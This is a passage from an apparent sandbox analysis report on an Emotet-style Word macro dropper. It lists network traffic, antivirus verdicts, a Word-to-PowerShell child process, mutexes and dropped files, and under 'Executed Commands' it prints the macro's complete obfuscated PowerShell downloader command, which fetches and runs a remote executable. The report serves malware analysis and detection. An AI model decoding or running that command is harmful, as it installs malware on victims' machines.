                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010.6\\x84\\xd4]r\\xe8%;+\\x1b\\xfb\\xf0lu\\xb4\\xcb7\\xb6\\x13\\xc9&p\\xbfo\\x84\\xa139\\xde\\x9d\\xcbb\\xf5q\\xa6\\xfe]z\\xa0\\xc6\\xaaa\\xc6\\xbcl\\xc7\\xca\\xe5\\xd6\\xbfx\\x91g\\x8e\\x1a\\x08\\xe8\\xc1\\x0b\\xd3^\\xf8l\\xe1\\x154\\xc3\\x0b\\xe3\\xf4\\x02\\x81\\xc2\\xca3\\x19?}vc\\xa1u\\xd0\\xbb\\x0e\\x91\\xa5!\\xa5k\\xab\\xe4\r\\xa1i\\x0e\\x18\\xa9\\xdd\\x89\\xc7\\xe8\\xc6r'\\x9ez\n\\x08\\x9di.\\xfed&\\x876\\x1c_\\xff\\xa2\\xf3j\\xd3\\x83.\\x97j\\xcb\\x99\\x96v\\x80z-\\xba\\xf7\\xef\\x8e\\xe5b\\xec\\x08\\x04\\xd5\\xa2's\\x80\"(u\\xdd\\xa7\\xc2\\x84\\xde\\xa5\\xa9\\xf9\\x16\\xab\\xe8+\\x1b\\xe0\\xef\\x020:\\x0f\\xd3\\xee\\x02\\xd5\\xfe\\xd9\\xf9\\x005p\\xf5:\\xae\\xe9e\\xc7$z\\xcb\\xba\\xa8\\x1d\\xbb\\xd2\t}i\\xcd\\x05+\\x1b\\xbao\\x96\\x13l\\xb5h\\xee\\xf8aj\\x10\\xd3\\xf35\\xf4-\\xe1\\xf5d\\xe0\\xa7\\xb0\\xeb\\xb8\\xa4\\xeb\\xac\\x85\\xe9n5\\x84\\xfay\\x85\\x88\\x13\\x8b\\xcbf\\xa7v\\x06y\\xc1'o"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010,\\x8f(u$\\xebe1\\xe3\"v\\xa8\\xef\\xc6@i\\x08\\xf0p\\x05\\x1b\\xddi\\xd1\\x8b\\x08\\xa2\\xee(\\xe2a\\x1e\\x9f\\xfe\\xc9\t\\x1a\\x83jr\\x03t\\xa8,\\xfb\\x12\\xbd\\x0e\\xb5\\x92i\\xa1\r\\xd0j\\xe2\\xbcy8\\xf5\\xe8\\xe4\\x8b\\xfcl\\xf8\\xca\\x8d\\x19\\xb1p\\x16\\x84e2i\\xc7x\\xa0\\xad\\xfd\\xa0\\x15ec{g\\x06\\xb6g*\\xc8e\\x197?\\xf4\\x8a\\x9f\\xf3\\xce|0\\xf3\\x1cc\\xf0\\xab:\\xda\\xec\\x1b\\xb8\\x89x{\\xf34\\xeb`npj\\x01\\xa7e\\x8c\\x12m{\\x14\n\\x83\\x07\\x90tyn\\x00\\xcf\\x01\\xc1\\xbb\\x92\\xe3[\\x14\\x81\\xb9c\\x15\\x02.\\x8f\\x90\\xd3\\xa0m\\x1c\\x08(\\x15\\xeaa\\x86\\xb1\\xf5\\xc6;g\\xe7\\xdd\\x11i\\b\\xcf\\x14:3\\xe8\\x12r\\x00`\\xae\\x81\\xcfc\\x12\\xcb]m4\\x1e\\xeb\\xf2\\xeb\\xdb\\xf6\\xc1y\\xc1\\xf7\\x08\\x8f\\xb2\\x96{\\x89u\\xe3c\\xd6\\x16\\xff\\x1f\\x92\\xb2\\xa8-\\x98tb\\xe8\\x7f\\xa3=\\xc2\\xd0suj\\x01\\x17\\xd1h\\xb4\\x13-wi\\xf0\\x99/4#\\x03\\xc4}\\xf5"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010{\\xb4\\x8c\\xebh\\x16\\xd3\\x0b\\xd5\\x9fq9\\x1c\\x94\\xd2\\xb5\\xbe\\xcf\\x8db\\xb8\"\\x96\\x94p\\x01p\\xd3\\x13[\\x9b\\xd4\\x12e)\\xcdpw\\xe0\\x94+\\xf1\\x05\\x01.\\x14\\x11j\\x03\\xbe\\xef\\xe1\\x7f\\xca\\x94u\\x8a\\xab )\\x18\\x05[\\xe1\\xa4\\xe2\\x05\\x12\\xc5\\xef\\x12\\x02\\xd7\\x96\\xc7g8\\x81\\xcar\\xa5\n\\xc8\\xb7\\xda\\xdbzz\\x93\\xce\\xea\\xe48\\xfc\\xeeqz\\xff\\xba\\x89\\xcd\\x87\\x1c\\xbe\\x9d\\xb2&r\\x0fg\\xd9\\xbc\\xae\\xa8\\xd1.\\xc8_\\xd7\rm\\xf87o%\\xc6\\xa9\\xb0\\xa8\\xb2\\x1a\\xbf\\xd8\\xc6\\x04\\x1e\\xd1zr\n\\xe9\\xe3\\xb8\\xe7\\x7f\\x88\\xce\\xc2\\xb3\\xc6,gt\\xb1c#\\x92}\\x7fr\\xb7\ti\\x8e\\x1a\\x18\\xac\\x8e\\x1ba\\x91z\\x03\\xa1aq\\xce\\xf5\\xcaf\\x97\\xdc\\xbdc59\\xd8\\x13z$\\x14\\x82\\xde\\xba\\x8cbln\\xdc\\x97\\xb0ebk\\xa4\\x7f\\xe3\\xba\\xd7(q\\xf3ff\\x8f\t6\\x8c\\xf1y=\\xaa\\x93\\x86,\\xce\\xfcp\\x0f\\x06\\xe7k\\xbec\\xab\\xf2\\xa6\\x1d\\xc1\\x93\\xce\\xbb\\xdc\\x1c\\xcf\\x0cq]\\xfe\\x06&"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i*\\xfc\\x178\\xd8~g\\xe5\\x08-\\xc4v\\x99\\xf2\\x9b\\x14\\x95\\xe7-\\x12,\\xe3\\xb9\\xc0x\\x02\\xca\\xcan\\x93\\xa0!\\xd4\\xbd[\\xee\\xac\\xfcu<\\xa0\\xecv,\\xd7 \\xcd\\xe8\\xf8y\\xd6\\x00\\x10\\x05>u\\xe1\\xd8\\xb6\\xf5\\x17\\xedm\\xd6\\xb6\\x0ej\\x95\\xf3\\xb7 7\\xc8\\xe9\\xf4\\x03\\xa3m\\xd0\\xcb\\x87\\x1d\\x8f\\xb3[\\x98\\x13`\\xfc\\xb9e\\x7fs4l\\x9fh.\\x81\\xd2\\xcf\\xba@a\\xea\\xf4\\xac\\x97%0\\xba\\x1fo\\x8a\\x91\\xa6\\x02\\xc9\\x9d\\x04bf%\\xda*\\x93\\x8b)\\x11h\\xb5\\x86x\\xb4\\xc6\\xb8\\xd79\\x1c,\\xc1\\xa9p\\xf6\\xdci\\xa6\\xac\\xe8\r,h\\x7f \\xf0\\x8d\\x86\\xfc\\x0fp\\xf0\\x87n\\x99\\xe2\\x1b\\x07\\xf6\\x18\\xaa\\xf9}\\xad\\xb3p\\xec\\xefxp2\\xed>\\xf8\\xf0\\x93\\xb8\\xb2\\x1d\\x07]sj\\xe2\\xc6\\x8e\\xb7l\\xfb\\x7fq\\xfd\\x9a\\x19d\\xbc\\xad\\xa2\\xb4i\\xe05e\\xf6#\\xe3hq\\xc1b\\xba\\x0e\\xea!\\xd6\r^\\x99\\x87\\xc5j\\xf8\\xa3\\xfdk\\xecx\\x1b\\x0e\\xa8#it\\x7f\\xb8\\x11\\x0f\\xc1\\xf5a\\x92"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010bg\\x04~\\xae\\xd7<\\xa2-sx\\x88~0!p\\xf0\\x14q\\x98\\xaf\\xfc\\xe1\\xad\\x04\\xf1/w\"7\\xd6i5\\xc9k\\x8e\\x8ah\\x1e0\\x047\\xfaa\\x0fvt\\x88\\xe8\\xe2\\x01\\xa6\\xd0\\x1d\\xb5\\x02\\xda\\xbb\\xff\\xd2\\x8fj\\xda\\xa9\\xafn\"\\x0c\\xbc`\\xb2$/\\xfa5\\x1d\\xad\\xb7\\xf9\\x14\\x82>\\xafe\\xf7\\xd0\\xcd\\xe7\\xea\\x8f\\x05\\x02\\x15\\x8b\\x98\t\\xf0v\\xc4@\\xe3\\x02\\xf5%\\xf4f\\xcb\\x8f\\xc90\\xdcbdjt2\\x9b\\x00\\xab\\x85t\n\\x99=o8\\x0e\\xa2%k'\\x0e\\xcam\"\\x9eyb=\\x95\\xff\\xbba\\xff\\xc0\\x9e\\xf1tdph\\x82\\xd6\\x85\\xa9\\xc0t\\xde\\x8d\\xdc\\x80)\\xe4\\xe3\\x87e#h\\x858\\xdd<'w0l\\x0co\\x92lo\\x1bcg\\xca]\\xdd\\xa9\\xe9j\\x94uiei]\\xd7\\xa5+7'\\xf7r\\x1ev+\\xf3y\\xcc\\x02f;\\x06\\xbe\rz\\x96)\\xb1w\\xb7\\x13\\xd4;\\xd6.z\\x94y\\xac\\x9f\\xd2\\x18 \\xbc\\xb87)w\\xf7\\xf3\\xac\\x07\\x19\\x8d\\x10\\x9f\\x8dv-v"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa9e4\\x93\\x8b\\x04\\x8b\\x96v\\xb0\\xd9jb\\x88\\x06\\xd3\\x8b?\\x08\r\\xc4\\x14{t\\x0c\\xc6\\xac\\x0c68\\x92\\xc2\\xba}\\x81\\x0e\\xa0\\xc7qh\\x8fb\\x1biw\\xce\\x1a\\xa1|\\x1a^v\\x83\\xb02\\x05\\x9c\\x86@e\\x0c<\\xe5\\xea\\xeea\\x90i\\x1e\\xaf\\xcb3j\\x1e\\xe5\\x8c<\\xbegh \\x85\\xb2.\\xee\\x97\\xb3\\x103\\xc7\\x1c!\\x9c2d^\\x8c\\xcd\\xc2\\xc4y\\xc4cq\\xdds\t\\xe8\\x16?\\x7f\\xaa\\xcd\\x14+\\x9c\\xc7\\xc6\\xe6\\x15\\xf7\\x06\\x15yi\\xa1\\xb3\\xe6,\\xf6\\xc8\\xac0?j\\xdc9\\xc2\\x04t\\xbc5\\x00\\x10\\x15?\\\\xed\\x1b\\x8f\\xfb\\xc1\\xb5\\xd5\\x1a6t{\\x89\\x08\t\\x9f\\xa9\\xfc\\xbd\\x0e-\\x0f \\x93\\xc6c\\xc0\\xcc\\xe1\\xc1\\x01p\\x8aq\\x05\\xd0'\\xce\\xf3\\xcb(wem\\xd62\\xd6\\x15\\xdb\\xe9\\xcf\\xf5\\xc4nq3y [\\x14\\xae\\x86\\xe8h{\\x1f\\x0e\\x1f\\xbb\\xa2\\xcf\\x9e^d\\x8a\\xf5\\xb6@|l\\x0b\\x19\\xa1\\xc2\\x8b\t_~\\xcfe\\xc6u\\x89l\\xf2\\xbb\\x12;\\xc8\\xe9[\\xd4\\xad\\x08\\xf0"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdb\\x87\\x8e\\x86\\x93{\\xea\\x81\\x95\\x06ff\\xb0\\x1a\\xa3\\x0b\\xbf\\xb1\\x04\\x19s\\x8f\\xb8d\\xa34c\\xe4\\xe4\\x01(27\\x82p\\x9b\\xd6\\x91\\xe4b+\\xb0\\xe7\\xf9\\x18\\xd7\\xe72\\x90c\"\\xc9p;\\xa7\\x82\\x1ai\\x0e1\\xa3\\x9e90\\xc4qplcbl\\xab\\xb4vbo]\\x90p`\\x97\\xa9\\x81\\x01\\xc4\\xbc\\xf4c\\xbd\\xabz\\x7fxhd\\xf7\\xe38\\x02\\x7f\\xf2_h4e\\xca\\xa1c\\xeae\\xf6y\\xba\\xd7&\\xdd\\x90!\\xd2\\xef\\x06a\\xf1\\xb8\\xd6\\xfe\\xe12\\x92\\x0e\\x1a\\xae\\x88\\xe3\\xbc\\xda\\xf4zj3\\xb8\\x9f\\xd8nfnh+\\xee\\xf9\\xa3\\xb4%#\\xf7h\\x85\\x16\\xe2\\xd65*'y\\x86<\\xc1_\\x1drj4\\xee\\xd0\\xce\\x17xt\\x14\\xcb\\xad\\x7f\\xc7\\x03t\\x8e\\xaee,\\xa7!\\xad\\x0c\\x02gz\n\\xe2:\\x86>\\xca+\\xee\\x94>\t\\xd6\\xf2\\x04\t\\xec\\x90p\\xca\\xc2\\x97\\xdf\\x86\\xc0o\\x0cl1\\xa3\\xa3k;j\\x9d\\x19\\x08\\x1e\\xb0\\xf1\\\\x00\\xb0\\x93$\\xae\\x18\\xa6\\xed\\xd6\\xc3\\xaf\\xa9\\xa3\\xcf\\xff"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa8\\xf0\\xf7<\\x1a\\x06\\xc3\\xe7~\\x1c\\x93\\x03\\xfa\\xa4\\xce\\x13\\x0e\\x15\\x17\\x9b\\xa0\\x16\\xcd:\\x8f\\xdc\\xa5\\xe5\\x1c\\xfb\\xe3v\\x02\\xf4p\\xefsg9\\x80tl\\xecsp\\xdf\\xf7\\xa0\\x07v\\x04\\x0e\\xebh&]z<\\xfd\\xe6mwy\\xea\\x96\\x16\\xf0z<i\\x03\\xcd+r\\xfec\\x07\\xf7k\\xd6\\x86h\\xfb\\x81l\\xce\\x8e\\xd1kd\\xea\\x90\\x1d\\x15\\xb2\\xf4\rm\\xcf\\xea\\xecl\\x87)\\x188\\xa4x\\x1d\\xafy\\xcc\\xd1\\x8e\\xa8t_\\xb3\\xbepj\\xbb\\xa3l6#w\\x1f\\xa7\\xba\\x07\"{\\xf4`\\xc8\\x01{6\\x95\\xd3\\xe14f@\\x9d\\xb9f=h\\x80o\\xc7\\xaax\\xb3*\\x9b\\xf2m\\x04\\xec\\xab\\xbdx%l\\xbb,\\xfefz\\xae\\x1a\\xe2\\xd5\\x02\\x9a\\xe8\\x8ei\\xc4\\xc9p^\\x90\\x038\\xe4\\xfb\\x8e\\xf2vg\\xbc\\xa1\\x04e\\xcb\\xd4\\xf2\\xb4on\\xd3l\\xacn\\xde\\xd5y\\x9e\\x16v\\xe5\\xf7\\x85\\xd2\\xf6\\xb4\\x9c\\x06\r#sgo\\xdcw\\x9f\rj\\xc9f\\x13 \\xa41\\x16\\xcb\\x8b\\xe8%/\\xec\\x05\\xfc5\\x17\\xc4o"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xac\\xdb\\xedd\\xaba\\xe43\\x19\\xe3t\\x8f\\xa3\\x17\\xdbw:\\x0bx\\x8f\\x8d1s\\xba\\x07&wc\\xf28\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf8\\xc2\\xa4\\x1f\\x12\\xd6\\x94\\xfa\\x93y\\xeb\\x82-n\\xc6i\\xc6\\x1e\\x05r\\xa8`\\xf7f\\xe2.qg\\xfam\\xad\\x91\\xce\\xd0\\x1a\\xdc\\xf3\\x81\\xc1\\xe3p\\x99j\\x91\\x1d\\x12]l\\xa4\\xb2l?dq\\xf4qf\\x92\\xbd\\xc1\\x80_\\x03\\x9a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000u^\\xe8 \\xc3\\xeb\\x82l\\x05-\\x8aa\\xa0\\x12\\xf4\\xbd\\xa3\\x15xc\\xd5/by\\xa1\\xdb\\xefm\\xa6n\\x18\\x8fs\\x8e\\xde\\x0b\\x14\\xfa\\x07\\xbff\\xe6=xp\\xb4fh"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\x93\\xed\\xda\\x19\\x82\\xe8\\x06\\xa5\\x00\\xf0\\xe7\\xfcg\\xb3o\\xc9\\x86\\x84\\x9asb\\xc5\\xa4\\xd1:va+\\xa4\\xc6\\xf0\\x05'\\x9f\\xe4\\xd7o:\\xb6\\x10\\x1c\\xb1\\xac7\\xf1\\xbe\\xce.\\x059\\x90;6m\\x14e6\\xcb\tw\\x10\\xa8l\\x02\\x80\\xb3\\xf76\\x03\\xd6y\\xf2e\\xb8\\x80\\xbd\\xa7\\xcf\\x17\\xb5\\xd6\\x00\\x97\\x84\\xc2bo\\xa5\\xc7\\xb7\\xdb^@\\xad\\xa1\\x9f\\x0f\\xd2j\\xb6\\x023\\xad?\\xe8q\\x05\\x01]\\x1c\\x1c\\x92\\xc6\\x1c\\xbfjk\\x02\\xf5\\xb7\\xa9\\x9flc\\xde\\xe7hy'/#\\xf8bs\\xd7af\\xf2>\\x1b\\xed\\xee\\x16\\x99\\x9e\\x17\\x0c\\x844\\xc6\\xdau\\xe9\\x17|\\xaf\\x123\\x94l3dz\\x97\\x9c\\xd9y\\x13\\xfc\\x149\\xe9\\xdf6i1\\xa1\\xac\\x88n\\xf7r\\xa6\\x0c\\xa8d\\xc8 \\xbdq\\xe3\\x96|\\xa34=\\x8d\\xdfg\\xe9\\x08\\xfbg\\xae\\xdbj\\xe9\\x82\\x7f?\\xc6\\x08\\xe6h\\x87q3u&\\xdc40t \\xda\\xcb\\x8d\\xb1\\xadz\\x8a\\xe8\\xcf\\xcb\\xe5\\x85i~&\\xb1\\xde\\xeak\\x16\\x8fe\\xcf\\x01+q"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x97\\xcc\\xb5\\xbe~\\x95\\xd3ez\\xae\\xbf\\xe4!\\xf97 \\x7f\\xb1\\xd7l\\x1b+bm\\x0f\\x9ehs\\xdbh\\xba\\xfb,\\xd0\\xab\\xe4\\xee\\xe8\\x19\\x110_\\xbau='\\xde,\\xd8\\x911\\x18\\x10<\\x0c\\xaf;\\xd4q\rp&\\xff\\xf3;d\\x15l\\xb2r\\x80\\xealw\\xb0\\x81\\xcb\n|\\x8av\\n\\xd1ljy\\x86\\xbc\\xfe9\\x1b\\x025t\\x9b2#\\x02\\xfey\\xc8\\x08[?\\xe6'\\xfd9\\x8f\\x14\\xef\\xd0\\x04e\\xb1\\x9e3\\xe5y.e3\\x18\\x90\\x0c\\xd1\\xa4+0\\x8d\\xa6g4l\\xb8i\\xa6&\\x9b\\xaf8\\xe3\\xd8\\xa3\\xe6\\x1d~3h\\x9488\\xeb,\\x13<xw\\xee\\xf4c\\x8e\\xe1\\x08\\x8c\\xe8{f\\xf79\\xccv4\\xcay\\xf8n<\\x10\\x02q\\x8e\\x9a\\x08\\xc6\\xec\\xe4\\xb9b\\x07i\\xca\\x0c\\xbfrn\\xe8^\\x84\\x9akau\\x17-y\\x1f\\x14\\x9bdr\\x02\\x85n\\x0f!r\\xe7\\xc99c+\\xc4\\xbao\\x95\\x90\\x03\\xa8\\x1cj+l\\xca\\xb7\\xadm%y\\xf5\\xbb\\xd0<\\x01>\\xfc\\x12\\xb9\\xe2\\xf0"
            }
        ]
    },
    {
        "Description": "File has been identified by 42 Antiviruses on VirusTotal as malicious",
        "Details": [
            {
                "MicroWorld-eScan": "VB:Trojan.Valyria.1887"
            },
            {
                "CAT-QuickHeal": "W97M.Emotet.Heur"
            },
            {
                "McAfee": "RDN/Generic Downloader.x"
            },
            {
                "AegisLab": "Trojan.Script.Agent.4!c"
            },
            {
                "K7AntiVirus": "Trojan ( 00536d111 )"
            },
            {
                "K7GW": "Trojan ( 00536d111 )"
            },
            {
                "Baidu": "VBA.Trojan-Downloader.Agent.day"
            },
            {
                "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
            },
            {
                "F-Prot": "New or modified W97M/Powload"
            },
            {
                "Symantec": "W97M.Downloader"
            },
            {
                "ESET-NOD32": "VBA/TrojanDownloader.Agent.MKP"
            },
            {
                "Avast": "VBA:Downloader-FYI [Trj]"
            },
            {
                "ClamAV": "Doc.Dropper.Agent-6585607-0"
            },
            {
                "GData": "VB:Trojan.Valyria.1887"
            },
            {
                "Kaspersky": "HEUR:Trojan.Script.Agent.gen"
            },
            {
                "BitDefender": "VB:Trojan.Valyria.1887"
            },
            {
                "Tencent": "Heur:Trojan.Script.LS_Gencirc.7112463.0"
            },
            {
                "Endgame": "malicious (high confidence)"
            },
            {
                "Comodo": "Malware@#1gzz9840oipwg"
            },
            {
                "F-Secure": "Heuristic.HEUR/Macro.Shell.DLD.Gen"
            },
            {
                "TrendMicro": "W2KM_POWLOAD.SMWORAN"
            },
            {
                "McAfee-GW-Edition": "BehavesLike.Downloader.cl"
            },
            {
                "FireEye": "VB:Trojan.Valyria.1887"
            },
            {
                "Emsisoft": "VB:Trojan.Valyria.1887 (B)"
            },
            {
                "SentinelOne": "DFI - Malicious OLE"
            },
            {
                "Cyren": "W97M/Powload"
            },
            {
                "Avira": "HEUR/Macro.Shell.DLD.Gen"
            },
            {
                "MAX": "malware (ai score=98)"
            },
            {
                "Antiy-AVL": "Trojan[Downloader]/MSOffice.Agent.izp"
            },
            {
                "Microsoft": "TrojanDownloader:O97M/Donoff.FK"
            },
            {
                "Arcabit": "HEUR.VBA.A.1"
            },
            {
                "ZoneAlarm": "HEUR:Trojan.Script.Agent.gen"
            },
            {
                "AhnLab-V3": "DOC/Downloader"
            },
            {
                "ALYac": "Trojan.Downloader.VBA.gen"
            },
            {
                "TACHYON": "Suspicious/W97M.Obfus.Gen.3"
            },
            {
                "Ad-Aware": "VB:Trojan.Valyria.1887"
            },
            {
                "Zoner": "Probably W97Obfuscated"
            },
            {
                "Rising": "Downloader.Donoff!8.36C (TOPIS:E0:CFvF0bF1QDS)"
            },
            {
                "Ikarus": "Trojan-Downloader.VBA.Agent"
            },
            {
                "Fortinet": "VBA/Agent.IZP!tr.dldr"
            },
            {
                "AVG": "VBA:Downloader-FYI [Trj]"
            },
            {
                "Qihoo-360": "virus.office.qexvmc.1075"
            }
        ]
    },
    {
        "Description": "Martian Subprocess Started By Office Process",
        "Details": [
            {
                "office_martian": "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"
            }
        ]
    },
    {
        "Description": "The office file has 2 macros.",
        "Details": [
            {
                "content": "The file appears to have no content."
            }
        ]
    },
    {
        "Description": "The office file created a suspicious child process.",
        "Details": [
            {
                "Processes": "WINWORD.EXE -> PowersHell.exe"
            }
        ]
    }
]

[*] Started Service: [
    "osppsvc"
]

[*] Executed Commands: [
    "PowersHell  .( $veRboSEprEFereNCe.tOsTRinG()[1,3]+'x'-jOIn'')( [stRIng]::JOin( '' , ( '37M98s66U99P109k96s33M60_33t111e100e118M44_110k99U107s100s98e117_33s115e96_111M101_110k108t58k37_87>71U116U70M96M33t60_33P111c100s118t44>110P99e107_100P98t117P33t82U120M114P117M100P108t47c79c100k117>47U86e100M99k66_109k104M100s111_117s58k37_109U106M83U113P113P113P33k60P33P38e105e117t117M113U59>46>46P98P104P109c104e111U106P96s47>111U109c46e107P103>78s100k81k121k99M83c46s65M105_117_117U113t59U46P46s98_105M104c111k96c104e108e99>104k114P114t44>99k116P100k117U117P102_100M111U47M101P100M46k108s120e48s103s116U102k118k87P46k65k105s117e117P113_59_46M46t118k118c118k47c108e96U115e115c104P96>102c100U102s96k115>101t100s111U114k47>104t111s46M101>49M105k116U99e82_117t46_65e105e117e117e113c59_46P46k118s118M118k47>117s96P109s96P117s108c110k99s104e109_120t96_47M98k110>108k46s108c98_50_120P120>81>79U46k65e105e117P117e113e59s46e46s98c105_116U115M98c105s111P100U118c110k115P109k100_96c111P114k47M110M115c102c46M103s49t79P57k111c82e113>46M38_47M82M113c109U104c117e41k38s65_38e40k58e37_115k106P113U105s113c33k60c33_37e98t66M99k109>96s47>111s100s121e117s41s48k45e33c51t51U56t55_48P53s40U58e37>105>116k96_91_72s33k60M33>37U100_111U119>59_117k100M108t113U33>42e33e38e93k38e33c42t33k37P115P106s113e105k113P33P42s33s38c47_100>121P100k38c58s103P110P115t100M96c98c105s41M37>111P105M101U99c74c81>33_104_111k33k37c109k106c83s113t113s113s40e122P117e115M120M122M37P87U71M116k70M96>47P69c110e118e111k109U110>96_101t71t104P109s100M41e37s111s105M101c99U74c81P47>85U110U82U117e115_104t111M102>41>40k45s33c37>105t116M96e91_72c40t58>82P117_96P115c117P44>81k115t110_98>100U114M114_33>37>105U116k96_91U72c58M99c115>100>96>106_58P124M98U96k117s98k105U122_118_115P104P117s100k44s105e110U114P117U33_37e94U47c68c121P98P100U113_117P104M110e111s47s76e100c114M114s96s102s100P58e124U124' -sPlIT 'C' -sPliT 'e'-SpLiT 'm'-sPLit 'u' -SPLit 's'-Split '>'-spLiT 'k' -sPLIt'_'-SpLIt 'p' -sPLIt'T' | % {[CHar]($_ -Bxor'0x01') } ) ))"
]

[*] Mutexes: [
    "Local\\ZoneAttributeCacheCounterMutex",
    "Local\\ZonesCacheCounterMutex",
    "Local\\ZonesLockedCacheCounterMutex",
    "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
    "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
    "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
    "CicLoadWinStaWinSta0",
    "Local\\MSCTF.CtfMonitorInstMutexDefault1",
    "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
    "Global\\CLR_CASOFF_MUTEX",
    "Global\\.net clr networking"
]

[*] Modified Files: [
    "C:\\Users\\user\\AppData\\Local\\Temp\\index.html",
    "C:\\Users\\user\\AppData\\Local\\Temp\\~DFA5E982D2E3118F43.TMP",
    "C:\\Users\\user\\AppData\\Local\\Temp\\~$index.html",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{2E133EB3-3FDB-46A2-BD88-F174DD67FB68}.tmp",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{897935C9-DDA5-491B-A9B3-BF444C439921}.tmp",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Cab7356.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Tar7357.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D1C.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D2D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D3E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab7D3F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E17.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E19.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E18.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9FC4.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9FB2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9FC3.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E16.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9FB1.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9FD5.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0C3.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9FB0.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA307.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0D3.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0C2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0C1.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA395.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cab9FC5.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA451.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA608.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA676.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA687.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabA688.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
    "\\??\\PIPE\\srvsvc",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\C5PA0KGV7RVE3DLMTSJZ.temp",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms",
    "C:\\Users\\user\\AppData\\Local\\Temp\\101513.exe"
]

[*] Deleted Files: [
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Cab7356.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Tar7357.tmp",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\C5PA0KGV7RVE3DLMTSJZ.temp",
